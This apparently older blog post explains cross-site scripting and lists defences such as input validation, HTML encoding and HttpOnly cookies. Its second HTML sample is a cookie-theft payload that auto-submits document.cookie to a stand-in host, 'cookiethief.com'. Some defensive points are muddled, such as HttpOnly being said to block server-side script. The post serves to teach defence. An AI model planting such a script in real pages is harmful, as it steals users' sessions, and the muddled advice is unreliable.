Cross-site scripting occurs when an attacker introduces HTML tags or scripts into links or documents. The most common of these occur in message boards and blogs, but this sort of attack can also occur in any operation that executes a FORM POST to the web. Without proper parsing of user input, any web-based application or web site is vulnerable. A CS attack can:
- execute malicious code
- steal cookies and other web session information
- access the client computer using known client-side exploits
The following samples display "click here" as a hyperlink. The browser reads hidden HTML tags and innocently prepares them for the user. When clicked, the browser does more than navigate to 'goodsite.com'; it pops an alert box that says “BOO!“.
<A HREF="http://www.goodsite.com"
<FORM action="" onClick="javascript:alert('BOO!')" method="post" target="_blank" ></form> click here</A>
Now, in the real world, an attacker would not likely warn us. Further, this code sample isn't all that interesting. All I'm trying to demonstrate is a script action in a URL that could be posted in a public forum. However, the code contains a FORM POST action, which could be used to post information from the browser to an attacker's web site. In the following (intentionally non-working) example, the action posts the users browser cookie to the 'cookiethief' site (the code is formatted for reability; odds are it would appear in a single line on the Internet):
<a href="http://www.goodsite.com/welcome.asp"
<FORM action="http://www.cookiethief.com/yum.asp"
method="post"
id="idForm">
<INPUT name="cookie" type="hidden">
</FORM>
<script>
idForm.cookie.value=document.cookie;
idForm.submit();
</script> >
here
</A>
Side note: when browsing, ALWAYS mouse over urls and view the redirect information in the status bar (the little window at the lower-left hand corner of your browser that usually says 'Done') before clicking a link from someone you don't know.
Free-text fields in an application also pose cross-site scripting risks. If an application allows users to update data in the database, the potential exists for malicious users to post FORM and SCRIPT tags therein. When the record is rendered in HTML, the browser could display innocent-looking links that do malicious things such as described above.
In an application, the defense against cross-site scripting must occur in all data entry operations; all user input must be considered potentially dangerous and must be scrubbed prior to saving to the database. The following techniques should be reviewed for data entry operations:
- Don't trust any user input. Examine it, scrub it, fail on all errors, allowing only properly-formed data to be saved to the application database.
- Filter out invalid characters using regular expressions.
- Don't echo web-based user input unless validated (you could be echoing script tags).
- Don't store secret information in cookies.
- Do use the HttpOnly cookie option (cannot be accessed by server-side script)
- Do use the security attribute (applies IE security settings on frame contents).
- Do take advantage of ASP.NET features; validate request attribute (this is set to 'true' by default).
- Do use HTMLENCODE and URLENCODE to prevent malicious text from being interpreted when sent back to the browser.
- Do use “<validate request>“ in the web.config file (I need to research this and will post an update to this article).
MSDN to the rescue with a helpful article (and several additional links) regarding cross-site scripting: http://support.microsoft.com/default.aspx?scid=kb;en-us;252985.